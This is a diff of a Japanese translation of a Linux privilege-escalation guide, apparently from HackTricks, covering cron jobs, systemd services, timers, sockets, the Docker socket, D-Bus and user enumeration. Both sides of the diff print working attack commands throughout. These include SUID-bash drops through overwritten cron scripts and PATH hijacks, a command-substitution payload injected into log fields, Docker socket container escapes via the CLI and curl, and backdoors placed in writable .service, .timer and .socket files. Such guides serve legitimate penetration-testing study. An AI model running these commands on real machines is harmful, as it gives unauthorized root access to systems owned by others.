Desktop) | gnome-keyring-daemon | -| LightDM (Ubuntu Desktop) | lightdm | -| VSFTPd (アクティブな FTP 接続) | vsftpd | -| Apache2 (アクティブな HTTP Basic 認証セッション) | apache2 | -| OpenSSH (アクティブな SSH セッション - sudo 使用時) | sshd: | +| ------------------------------------------------- | ---------------------- | +| GDM password (Kali Desktop, Debian Desktop) | gdm-password | +| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | +| LightDM (Ubuntu Desktop) | lightdm | +| VSFTPd (Active FTP Connections) | vsftpd | +| Apache2 (Active HTTP Basic Auth Sessions) | apache2 | +| OpenSSH (Active SSH Sessions - Sudo Usage) | sshd: | #### 検索用正規表現/[truffleproc](https://github.com/controlplaneio/truffleproc) ```bash @@ -313,39 +313,39 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... # finding secrets # results in /tmp/tmp.o6HV0Pl3fe/results.txt ``` -## スケジュールされた/Cron jobs +## スケジュール/Cron ジョブ -### Crontab UI (alseambusher) が root として実行されている — web-based scheduler privesc +### Crontab UI (alseambusher) が root で実行されている – web-based scheduler privesc -もし web “Crontab UI” パネル (alseambusher/crontab-ui) が root として実行され、loopback にのみバインドされている場合でも、SSH のローカルポートフォワーディングでアクセスして特権ジョブを作成し権限昇格できます。 +web “Crontab UI” パネル (alseambusher/crontab-ui) が root で実行され、loopback にのみバインドされている場合でも、SSH のローカルポートフォワーディング経由で到達して、特権ジョブを作成して権限昇格できます。 -典型的なチェーン -- loopback-only port(例: 127.0.0.1:8000)と Basic-Auth realm を `ss -ntlp` / `curl -v localhost:8000` で発見 -- 運用アーティファクトから credentials を見つける: - - バックアップ/スクリプト内の `zip -P ` - - systemd ユニットで `Environment="BASIC_AUTH_USER=..."`, `Environment="BASIC_AUTH_PWD=..."` を公開している +典型的な手順 +- ループバック限定のポート(例: 127.0.0.1:8000)と Basic-Auth リームを `ss -ntlp` / `curl -v localhost:8000` で発見する +- 運用アーティファクトから資格情報を見つける: + - バックアップ/スクリプト(`zip -P `) + - systemd unit が `Environment="BASIC_AUTH_USER=..."`, `Environment="BASIC_AUTH_PWD=..."` を設定している - トンネルしてログイン: ```bash ssh -L 9001:localhost:8000 user@target # browse http://localhost:9001 and authenticate ``` -- high-priv job を作成して即実行する(SUID shell を落とす): +- high-priv ジョブを作成してすぐに実行する(SUID shell をドロップする): ```bash # Name: escalate # Command: cp /bin/bash /tmp/rootshell && chmod 6777 /tmp/rootshell ``` -- 使用する: +- 使い方: ```bash /tmp/rootshell -p # root shell ``` ハードニング -- Crontab UI を root で実行しない。専用ユーザーと最小権限で制限すること -- localhost にバインドし、さらに firewall/VPN でアクセスを制限する。パスワードを再利用しないこと -- unit files に secrets を埋め込まない。secret stores または root-only EnvironmentFile を使用すること -- オンデマンドジョブ実行の監査/ログを有効にすること +- Crontab UI を root で実行しない。専用ユーザを用意し、最小限の権限に制限する +- localhost にバインドし、さらに firewall/VPN でアクセスを制限する。パスワードを使い回さない +- unit files に秘密を埋め込まない。secret stores や root のみが読める EnvironmentFile を使用する +- on-demand job executions に対して audit/logging を有効にする -スケジュールされたジョブに脆弱性がないか確認すること。root によって実行されるスクリプトを利用できるかもしれない(wildcard vuln? root が使用するファイルを変更できるか? symlinks を使う? root が使うディレクトリに特定のファイルを作成する?) +スケジュールされたジョブに脆弱性がないか確認する。root によって実行される script を悪用できるかもしれない(wildcard vuln? root が使うファイルを変更できるか? symlinks を使えるか? root が使うディレクトリに特定のファイルを作成できるか?)。 ```bash crontab -l ls -al /etc/cron* /etc/at* @@ -353,26 +353,26 @@ cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/nul ``` ### Cron path -例えば、_/etc/crontab_ の中には次のような PATH が設定されています: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ +例えば、_/etc/crontab_ 内には次の PATH が見つかります: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ -(ユーザー "user" が /home/user に書き込み権限を持っていることに注意) +(ユーザ "user" が /home/user に対して書き込み権限を持っている点に注意) -この crontab 内で root ユーザーが PATH を設定せずにコマンドやスクリプトを実行しようとした場合。例えば: _\* \* \* \* root overwrite.sh_\ -そうすると、root shell を取得できます: +この crontab 内で root が PATH を設定せずにコマンドやスクリプトを実行しようとする場合、例えば: _\* \* \* \* root overwrite.sh_\ +すると、次のようにして root shell を取得できます: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` -### Cron using a script with a wildcard (Wildcard Injection) +### Cron がワイルドカードを含むスクリプトを使用する場合 (Wildcard Injection) -rootによって実行されるスクリプトのコマンド内に “**\***” が含まれている場合、それを悪用して予期しないこと(privescなど)を引き起こせる可能性があります。例: +スクリプトが root によって実行され、コマンド内に “**\***” が含まれている場合、これを悪用して予期しない動作(例えば privesc)を引き起こすことができます。例: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**ワイルドカードがパスの前にある場合(例:** _**/some/path/\***_ **)、脆弱ではありません(_**./\***_ **も同様です)。** +**If the wildcard is preceded of a path like** _**/some/path/\***_ **、脆弱ではありません(_**./\***_** ですら脆弱ではありません)。** -以下のページも参照して、ワイルドカードの悪用トリックを確認してください: +Read the following page for more wildcard exploitation tricks: {{#ref}} @@ -380,13 +380,13 @@ wildcards-spare-tricks.md {{#endref}} -### cron ログパーサにおける Bash arithmetic expansion injection +### Bash arithmetic expansion injection in cron log parsers -Bash は parameter expansion と command substitution を ((...)), $((...)) および let の算術評価前に行います。もし root cron/parser が信頼できないログフィールドを読み取り、それを算術コンテキストに渡すと、攻撃者は command substitution $(...) を注入でき、cron 実行時に root として実行されます。 +Bashは、((...))、$((...)) および let の算術評価の前に parameter expansion と command substitution を実行します。もし root が実行する cron/parser が信頼できないログフィールドを読み取りそれを算術コンテキストに渡すと、攻撃者はコマンド置換 $(...) を注入でき、cron 実行時に root として実行されます。 -- なぜ動作するか: Bash では展開が次の順序で発生します: parameter/variable expansion、command substitution、arithmetic expansion、その後に word splitting と pathname expansion。したがって `$(/bin/bash -c 'id > /tmp/pwn')0` のような値はまず置換され(コマンドが実行され)、残った数値の `0` が算術に使われるためスクリプトはエラーなく続行されます。 +- Why it works: Bashでは、展開は次の順序で行われます: parameter/variable expansion, command substitution, arithmetic expansion, then word splitting and pathname expansion。したがって、`$(/bin/bash -c 'id > /tmp/pwn')0` のような値は最初に置換され(コマンドが実行され)、残った数値の `0` が算術に使われるためスクリプトはエラーなく継続します。 -- 典型的な脆弱パターン: +- Typical vulnerable pattern: ```bash #!/bin/bash # Example: parse a log and "sum" a count field coming from the log @@ -396,38 +396,38 @@ while IFS=',' read -r ts user count rest; do done < /var/www/app/log/application.log ``` -- 利用手順: 攻撃者が制御するテキストを解析対象のログに書き込ませ、数値に見えるフィールドが command substitution を含みかつ末尾が数字になるようにします。コマンドが stdout に出力しない(またはリダイレクトする)ようにして、算術が有効なままにしてください。 +- Exploitation: 攻撃者が制御するテキストをパースされるログに書き込み、数値に見えるフィールドにコマンド置換を含め末尾を数字で終わらせます。コマンドが stdout に出力しない(またはリダイレクトする)ようにしておくと算術が有効なままになります。 ```bash # Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim): $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 # When the root cron parser evaluates (( total += count )), your command runs as root. ``` -### Cron スクリプトの上書きと symlink +### Cron script overwriting and symlink -もし root によって実行される **cron スクリプトを変更できる** なら、非常に簡単にシェルを取得できます: +もし root によって実行される **cron script を変更できる** 場合、非常に簡単に **shell** を取得できます: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -root によって実行される script が **directory where you have full access** を使用している場合、その folder を削除して、あなたが制御する script を配置した別の場所に **create a symlink folder to another one** することが有効かもしれません。 +rootによって実行されるscriptが**directory where you have full access**を使用している場合、そのフォルダを削除して、あなたが管理するscriptを置いた別の場所を指す**create a symlink folder to another one**を作ると有効かもしれません。 ```bash ln -d -s ``` ### 頻繁な cron jobs -プロセスを監視して、1分、2分、5分ごとに実行されているプロセスを探すことができます。 それを利用して、escalate privileges できるかもしれません。 +プロセスを監視して、1、2、または5分ごとに実行されているプロセスを探すことができます。これを利用して escalate privileges できるかもしれません。 -例えば、**1分間0.1秒ごとに監視し**、**実行回数の少ないコマンドでソートし**、最も多く実行されたコマンドを削除するには、次のようにします: +例えば、**1分間に0.1秒ごとに監視し**、**実行回数の少ないコマンドでソートし**、最も実行されたコマンドを削除するには、次のようにします: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` -**次のツールも使えます** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (これは起動するすべてのプロセスを監視して一覧表示します)。 +**また使用できます** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (これは起動するすべてのプロセスを監視して一覧表示します). -### 見えない cron ジョブ +### 見えない cron jobs -コメントの後に**キャリッジリターンを入れる(newline 文字ではなく)**ことで cronjob を作成でき、cron ジョブは動作します。例(キャリッジリターン文字に注意): +**コメントの後にキャリッジリターンを入れる**(改行文字なし)ことでcronjobを作成でき、cronjobは動作します。例(キャリッジリターン文字に注意): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` @@ -435,32 +435,32 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do ### 書き込み可能な _.service_ ファイル -任意の `.service` ファイルに書き込みできるか確認してください。書き込み可能なら、**それを変更して** サービスが**開始**、**再起動**、または**停止**したときにあなたの**backdoorを実行する**ようにすることができます(マシンの再起動を待つ必要があるかもしれません)。\ -例えば、.service ファイル内にあなたの backdoor を作成し、**`ExecStart=/tmp/script.sh`** のように設定します +任意の `.service` ファイルに書き込めるか確認してください。書き込み可能であれば、**それを変更して**サービスが**起動したとき**、**再起動したとき**、または**停止したとき**に**バックドアを実行させる**ことができます(場合によってはマシンを再起動するまで待つ必要があります)。\ +例えば、.service ファイル内にバックドアを作成し、**`ExecStart=/tmp/script.sh`** を設定します ### 書き込み可能なサービスバイナリ -サービスによって実行されるバイナリに対する**書き込み権限がある**場合、それらを backdoor に置き換えることができ、サービスが再実行されたときに backdoor が実行されるようになります。 +**サービスによって実行されているバイナリに対して書き込み権限がある**場合、それらをバックドアに差し替えることができ、サービスが再実行されたときにバックドアが実行されます。 ### systemd PATH - 相対パス -次のコマンドで **systemd** が使用する PATH を確認できます: +次のコマンドで**systemd**が使用するPATHを確認できます: ```bash systemctl show-environment ``` -パス内の任意のフォルダに**書き込み**ができることが分かれば、**escalate privileges**できる可能性があります。以下のような、サービス設定ファイルで**相対パスが使用されている**かを探す必要があります: +パス内のいずれかのフォルダに**write**できることが判明した場合、**escalate privileges**できる可能性があります。次のようなサービス設定ファイルで**relative paths being used on service configurations**が使われている箇所を探す必要があります: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -次に、書き込み可能な systemd PATH フォルダ内に、相対パスのバイナリと**同じ名前**の**executable**を作成してください。サービスが脆弱なアクション(**Start**, **Stop**, **Reload**)を実行するよう要求されると、あなたの**backdoor**が実行されます(非特権ユーザーは通常サービスを start/stop できませんが、`sudo -l` が使えるか確認してください)。 +次に、書き込み可能な systemd PATH folder 内に、**executable** を **same name as the relative path binary** で作成し、サービスが脆弱なアクション(**Start**, **Stop**, **Reload**)を実行するよう要求されると、あなたの **backdoor will be executed**。(特権のないユーザーは通常サービスを開始/停止できませんが、`sudo -l` が使えるか確認してください) -**サービスの詳細は `man systemd.service` を参照してください。** +**サービスについては `man systemd.service` を参照してください。** -## **Timers** +## **タイマー** -**Timers** は名前が `**.timer**` で終わる systemd ユニットファイルで、`**.service**` ファイルやイベントを制御します。**Timers** はカレンダー時間イベントや単調時間イベントの組み込みサポートがあり、非同期で実行できるため、cron の代替として使用できます。 +タイマーは名前が `**.timer**` で終わる systemd の unit ファイルで、`**.service**` ファイルやイベントを制御します。タイマーはカレンダー時間イベントや単調時間イベントをネイティブにサポートし、非同期で実行できるため、cron の代替として使用できます。 すべてのタイマーは次のコマンドで列挙できます: ```bash @@ -468,52 +468,52 @@ systemctl list-timers --all ``` ### 書き込み可能なタイマー -もしタイマーを変更できるなら、systemd.unit の既存のユニット(例えば `.service` や `.target`)を実行させることができます。 +timer を変更できる場合、systemd.unit の既存のユニット(例えば `.service` や `.target`)を実行させることができます。 ```bash Unit=backdoor.service ``` -ドキュメントには Unit が何であるか次のように説明されています: +In the documentation you can read what the Unit is: -> The unit to activate when this timer elapses. The argument is a unit name, whose suffix is not ".timer". If not specified, this value defaults to a service that has the same name as the timer unit, except for the suffix. (See above.) It is recommended that the unit name that is activated and the unit name of the timer unit are named identically, except for the suffix. +> この timer が満了したときにアクティベートされる Unit です。引数はユニット名で、そのサフィックスは ".timer" ではありません。指定しない場合、この値はサフィックスを除いて timer ユニットと同じ名前の service にデフォルトされます。(上記参照)アクティベートされるユニット名と timer ユニットのユニット名は、サフィックス以外は同一にすることが推奨されます。 -したがって、この権限を悪用するには、次のことが必要です: +Therefore, to abuse this permission you would need to: -- systemd unit(例: `.service`)で、**書き込み可能なバイナリを実行している**ものを見つける -- 相対パスを実行している systemd unit を見つけ、かつその実行ファイルを偽装するために **書き込み権限** を **systemd PATH** に対して持っていること(その実行ファイルを偽装するため) +- systemd ユニット(例: `.service`)の中で、**書き込み可能なバイナリを実行している**ものを見つける +- **相対パスを実行している** systemd ユニットを見つけ、かつ **書き込み権限** を **systemd PATH** に対して持っている(その実行ファイルを偽装するため) -**Learn more about timers with `man systemd.timer`.** +**詳しくは `man systemd.timer` を参照してください。** -### **Enabling Timer** +### **Timer を有効化する** -To enable a timer you need root privileges and to execute: +Timer を有効化するには root 権限が必要で、次を実行します: ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. ``` -注意: **timer** は `/etc/systemd/system/.wants/.timer` にシンボリックリンクを作成することで**有効化**されます。 +Note the **timer** is **activated** by creating a symlink to it on `/etc/systemd/system/.wants/.timer` ## ソケット -Unix Domain Sockets (UDS) は、クライアント-サーバモデル内で同一または異なるマシン間の**プロセス間通信**を可能にします。これらはコンピュータ間通信のために標準の Unix ディスクリプタファイルを利用し、`.socket` ファイルを通じて設定されます。 +Unix Domain Sockets (UDS) は、クライアント-サーバーモデル内で同一または別のマシン間での**プロセス間通信**を可能にします。これらは標準の Unix ディスクリプタファイルを利用してコンピュータ間通信を行い、`.socket` ファイルを通じて設定されます。 -Sockets は `.socket` ファイルを使って設定できます。 +ソケットは `.socket` ファイルを使用して設定できます。 -**Learn more about sockets with `man systemd.socket`.** このファイル内では、いくつかの興味深いパラメータを設定できます: +**ソケットについて詳しくは `man systemd.socket` を参照してください。** このファイル内では、いくつかの興味深いパラメータを設定できます: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: これらのオプションは種類が異なりますが、要点としてはソケットがどこでリッスンするか(AF_UNIX ソケットファイルのパス、リッスンする IPv4/6 および/またはポート番号など)を**示す**ために使われます。 -- `Accept`: 真偽値を取ります。**true** の場合、**各着信接続ごとにサービスインスタンスが生成され**、その接続ソケットのみが渡されます。**false** の場合、すべてのリッスンソケット自体が**起動されたサービスユニットに渡され**、すべての接続に対して1つのサービスユニットのみが生成されます。この値は、単一のサービスユニットが無条件にすべての着信トラフィックを処理する datagram ソケットおよび FIFO では無視されます。**デフォルトは false**。パフォーマンス上の理由から、新しいデーモンは `Accept=no` に適した方法でのみ書くことが推奨されます。 -- `ExecStartPre`, `ExecStartPost`: 1つ以上のコマンドラインを取り、リッスンする**ソケット**/FIFO がそれぞれ**作成され**バインドされる**前**または**後**に実行されます。コマンドラインの最初のトークンは絶対パスのファイル名でなければならず、その後にプロセスの引数が続きます。 -- `ExecStopPre`, `ExecStopPost`: リッスンする**ソケット**/FIFO がそれぞれ**閉じられ**削除される**前**または**後**に実行される追加の**コマンド**です。 -- `Service`: **着信トラフィック**時に**アクティブ化する** **service** ユニット名を指定します。この設定は Accept=no のソケットでのみ許可されます。デフォルトではソケットと同じ名前のサービス(サフィックスを置き換えたもの)になります。ほとんどの場合、このオプションを使用する必要はありません。 +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: これらのオプションは異なりますが、要約するとソケットがどこで待ち受けるか(AF_UNIX ソケットファイルのパス、待ち受ける IPv4/6 やポート番号など)を**指定**します。 +- `Accept`: ブール引数を取ります。もし `true` であれば、**各着信接続ごとにサービスインスタンスが生成され**、接続ソケットのみがそのインスタンスに渡されます。もし `false` であれば、すべてのリッスンソケット自体が**起動されたサービスユニットに渡され**、すべての接続に対して単一のサービスユニットだけが生成されます。この値はデータグラムソケットや FIFO では無視され、単一のサービスユニットがすべての着信トラフィックを無条件に処理します。**デフォルトは false**です。パフォーマンス上の理由から、新しいデーモンは `Accept=no` に適した方法で書くことが推奨されます。 +- `ExecStartPre`, `ExecStartPost`: 1つ以上のコマンドラインを取り、リッスンする**ソケット**/FIFO が作成およびバインドされる前後にそれぞれ**実行**されます。コマンドラインの最初のトークンは絶対パスのファイル名でなければならず、その後にプロセスの引数が続きます。 +- `ExecStopPre`, `ExecStopPost`: リッスンする**ソケット**/FIFO がクローズされ削除される前後にそれぞれ**実行**される追加の**コマンド**です。 +- `Service`: 着信トラフィック時に**起動する**サービスユニット名を指定します。この設定は `Accept=no` のソケットでのみ許可されます。デフォルトではソケットと同名のサービス(サフィックスを置き換えたもの)が使用されます。ほとんどの場合、このオプションを使用する必要はありません。 ### Writable .socket files -もし**書き込み可能な** `.socket` ファイルを見つけたら、`[Socket]` セクションの先頭に `ExecStartPre=/home/kali/sys/backdoor` のような行を**追加**すると、ソケットが作成される前に backdoor が実行されます。したがって、**おそらくマシンを再起動するまで待つ必要があります。**\ -_システムがその socket ファイル構成を使用していなければ、backdoor は実行されません_ +書き込み可能な `.socket` ファイルを見つけた場合、`[Socket]` セクションの先頭に `ExecStartPre=/home/kali/sys/backdoor` のような行を**追加**でき、バックドアはソケットが作成される前に実行されます。したがって、**おそらくマシンの再起動を待つ必要があります。**\ +_システムがそのソケットファイルの設定を使用している必要があり、そうでなければバックドアは実行されません_ ### Writable sockets -もし**書き込み可能なソケット**を**発見**した場合(ここでは設定の `.socket` ファイルではなく Unix ソケット自体の話です)、そのソケットと**通信する**ことができ、場合によっては脆弱性を突くことも可能です。 +もし**書き込み可能なソケット**を特定できたら(ここで言うのは構成の `.socket` ファイルではなく Unix ソケット本体のことです)、そのソケットと**通信する**ことができ、脆弱性を悪用できる可能性があります。 ### Unix ソケットの列挙 ```bash @@ -537,28 +537,28 @@ socket-command-injection.md ### HTTP sockets -いくつかの **sockets listening for HTTP** requests が存在する場合があることに注意してください。(_.socket files のことではなく、unix sockets として動作するファイルのことを指しています_)。次のコマンドで確認できます: +注意:一部に **sockets listening for HTTP** リクエストが存在する場合があります(_ここで言っているのは .socket files ではなく、unix sockets として動作するファイルのことです_)。次のコマンドで確認できます: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -If the socket **responds with an HTTP** request, then you can **communicate** with it and maybe **exploit some vulnerability**. +If the socket **HTTP リクエストに応答する** なら、**通信** が可能で、場合によっては **脆弱性を exploit する** ことができます。 -### 書き込み可能な Docker Socket +### 書き込み可能な Docker socket -The Docker socket, often found at `/var/run/docker.sock`, is a critical file that should be secured. デフォルトでは `root` ユーザーと `docker` グループのメンバーが書き込み可能です。This socket への write access を持つことは privilege escalation に繋がる可能性があります。以下では、これがどのように行われるかと、Docker CLI が利用できない場合の代替手段について説明します。 +Docker socket(多くの場合 `/var/run/docker.sock` にあります)は保護すべき重要なファイルです。デフォルトでは、`root` ユーザーおよび `docker` グループのメンバーが書き込み可能です。この socket への書き込みアクセスを持つと、privilege escalation を引き起こす可能性があります。以下に、その実行方法と Docker CLI が利用できない場合の代替手段を示します。 #### **Privilege Escalation with Docker CLI** -If you have write access to the Docker socket, you can escalate privileges using the following commands: +Docker socket に書き込みアクセスがある場合、以下のコマンドを使用して権限を昇格できます: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -これらのコマンドは、ホストのファイルシステムに対して root-level アクセスを持つ container を実行することを可能にします。 +These commands allow you to run a container with root-level access to the host's file system. #### **Docker API を直接使用する** -Docker CLI が利用できない場合でも、Docker ソケットは Docker API と `curl` コマンドを使って操作できます。 +Docker CLI が利用できない場合でも、Docker socket は Docker API と `curl` コマンドを使って操作できます。 1. **List Docker Images:** 利用可能なイメージの一覧を取得します。 @@ -566,19 +566,19 @@ Docker CLI が利用できない場合でも、Docker ソケットは Docker API curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json ``` -2. **Create a Container:** ホストのルートディレクトリをマウントする container を作成するリクエストを送信します。 +2. **Create a Container:** ホストシステムのルートディレクトリをマウントするコンテナを作成するリクエストを送信します。 ```bash curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create ``` -新しく作成した container を起動します: +Start the newly created container: ```bash curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` -3. **Attach to the Container:** `socat` を使って container に接続を確立し、その中でコマンドを実行できるようにします。 +3. **Attach to the Container:** `socat` を使用してコンテナへの接続を確立し、その中でコマンドを実行できるようにします。 ```bash socat - UNIX-CONNECT:/var/run/docker.sock @@ -588,13 +588,13 @@ Connection: Upgrade Upgrade: tcp ``` -`socat` 接続を設定した後、ホストのファイルシステムに対する root-level アクセスで container 内で直接コマンドを実行できます。 +`socat` 接続を設定した後、ホストのファイルシステムに対して root 権限でコンテナ内から直接コマンドを実行できます。 ### その他 -docker ソケットに対して書き込み権限があり、**グループ `docker` のメンバーである** 場合は [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group) があります。もし [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising) であれば、それを侵害できる可能性もあります。 +docker socket に対して書き込み権限がある(**inside the group `docker`** に属している)場合、[**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group) があります。もし[**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising) 。 -docker からのブレイクアウトや特権昇格に悪用するための他の方法については、以下を確認してください: +docker からの脱出や権限昇格に悪用するその他の方法については、以下を確認してください: {{#ref}} @@ -603,7 +603,7 @@ docker-security/ ## Containerd (ctr) privilege escalation -もし **`ctr`** コマンドを使用できる場合は、次のページを参照してください(**you may be able to abuse it to escalate privileges**): +If you find that you can use the **`ctr`** command read the following page as **you may be able to abuse it to escalate privileges**: {{#ref}} @@ -612,7 +612,7 @@ containerd-ctr-privilege-escalation.md ## **RunC** privilege escalation -もし **`runc`** コマンドを使用できる場合は、次のページを参照してください(**you may be able to abuse it to escalate privileges**): +If you find that you can use the **`runc`** command read the following page as **you may be able to abuse it to escalate privileges**: {{#ref}} @@ -621,15 +621,15 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus は高度な **inter-Process Communication (IPC) system** で、アプリケーションが効率的に相互作用しデータを共有することを可能にします。モダンな Linux システムを想定して設計されており、様々な形式のアプリケーション間通信のための堅牢なフレームワークを提供します。 +D-Bus は高度なプロセス間通信(IPC)システムであり、アプリケーション間の効率的な相互作用とデータ共有を可能にします。現代の Linux システムを念頭に設計されており、さまざまな形態のアプリケーション間通信に対して堅牢なフレームワークを提供します。 -このシステムは柔軟で、プロセス間のデータ交換を強化する基本的な IPC をサポートし、**enhanced UNIX domain sockets** を彷彿とさせます。さらに、イベントやシグナルのブロードキャストを助け、システムコンポーネント間のシームレスな統合を促進します。例えば、着信通話に関する Bluetooth デーモンからのシグナルが音楽プレーヤーをミュートするよう促すことで、ユーザー体験が向上します。加えて、D-Bus はリモートオブジェクトシステムをサポートしており、アプリケーション間のサービス要求やメソッド呼び出しを簡素化し、従来は複雑であった処理を効率化します。 +このシステムは汎用性が高く、プロセス間のデータ交換を強化する基本的な IPC をサポートしており、強化された UNIX ドメインソケットに似た役割を果たします。さらに、イベントやシグナルのブロードキャストを支援し、システムコンポーネント間のシームレスな統合を促進します。たとえば、Bluetooth デーモンからの着信通知が音楽プレーヤーをミュートするよう促すなど、ユーザー体験を向上させます。加えて、D-Bus はリモートオブジェクトシステムをサポートしており、アプリケーション間のサービス要求やメソッド呼び出しを簡素化し、従来は複雑だったプロセスを効率化します。 -D-Bus は **allow/deny model** に基づいて動作し、ポリシールールの一致の累積効果に基づいてメッセージの権限(メソッド呼び出し、シグナルの送出など)を管理します。これらのポリシーはバスとのやり取りを指定し、これらの権限を悪用することで privilege escalation を引き起こす可能性があります。 +D-Bus は許可/拒否モデルで動作し、ポリシールールの累積的な一致に基づいてメッセージの許可(メソッド呼び出し、シグナル送信など)を管理します。これらのポリシーは bus とのやり取りを指定し、これらの権限の悪用によって権限昇格が可能になる場合があります。 -そのようなポリシーの例が `/etc/dbus-1/system.d/wpa_supplicant.conf` に示されており、root ユーザーが `fi.w1.wpa_supplicant1` の所有、送信、および受信の権限を持つことが詳述されています。 +`/etc/dbus-1/system.d/wpa_supplicant.conf` にあるようなポリシーの例があり、root ユーザーが `fi.w1.wpa_supplicant1` を所有し、送信および受信する権限を持つことが詳細に記載されています。 -ユーザーやグループが指定されていないポリシーは全体に適用され、"default" コンテキストのポリシーは他の特定のポリシーでカバーされないものすべてに適用されます。 +ユーザーまたはグループが指定されていないポリシーは普遍的に適用され、一方で "default" コンテキストのポリシーは他の特定のポリシーでカバーされていないすべてに適用されます。 ```xml @@ -638,8 +638,7 @@ D-Bus は **allow/deny model** に基づいて動作し、ポリシールール ``` -**ここで D-Bus 通信 を enumerate および exploit する方法を学ぶ:** - +**ここで D-Bus 通信を enumerate および exploit する方法を学んでください:** {{#ref}} d-bus-enumeration-and-command-injection-privilege-escalation.md @@ -647,7 +646,7 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md ## **ネットワーク** -ネットワークを enumerate してマシンの位置を把握するのは常に興味深い。 +ネットワークを enumerate してマシンの位置を特定するのは常に興味深いです。 ### 一般的な enumeration ```bash @@ -674,22 +673,22 @@ lsof -i ``` ### Open ports -アクセスする前に、事前にやり取りできなかったそのマシン上で実行されている network services を必ず確認してください: +アクセスする前に操作できなかったマシン上で動作しているネットワークサービスを必ず確認してください: ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" ``` ### Sniffing -sniff traffic ができるか確認してください。できる場合、いくつかの credentials を取得できる可能性があります。 +sniff traffic ができるか確認してください。できれば、credentials を取得できるかもしれません。 ``` timeout 1 tcpdump ``` -## ユーザー +## Users -### 一般的な列挙 +### Generic Enumeration -自分が**誰**で、どの**権限**を持っているか、システムにどの**ユーザー**が存在するか、どのユーザーが**ログイン**できるか、どのユーザーが**root 権限**を持っているかを確認する: +自分が**who**であるか、どの**privileges**を持っているか、システムにどの**users**がいるか、どの**users**が**login**できるか、どの**users**が**root privileges**を持っているかを確認する: ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -711,23 +710,23 @@ for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | so #Current user PGP keys gpg --list-keys 2>/dev/null ``` -### 大きな UID +### Big UID -一部の Linux バージョンは、**UID > INT_MAX** のユーザーが特権を昇格できるバグの影響を受けていました。More info: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ +一部のLinuxバージョンは、**UID > INT_MAX** のユーザーが権限昇格できるバグの影響を受けていました。More info: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ **Exploit it** using: **`systemd-run -t /bin/bash`** -### グループ +### Groups -root 権限を付与する可能性のあるグループの**メンバーかどうか**を確認してください: +root権限を与える可能性のある**いずれかのグループのメンバー**かどうかを確認してください: {{#ref}} interesting-groups-linux-pe/ {{#endref}} -### クリップボード +### Clipboard -可能であればクリップボード内に興味深いものがないか確認してください +可能であれば、クリップボード内に興味深い情報が含まれていないか確認してください ```bash if [ `which xclip 2>/dev/null` ]; then echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null` @@ -744,27 +743,27 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi ``` ### 既知のパスワード 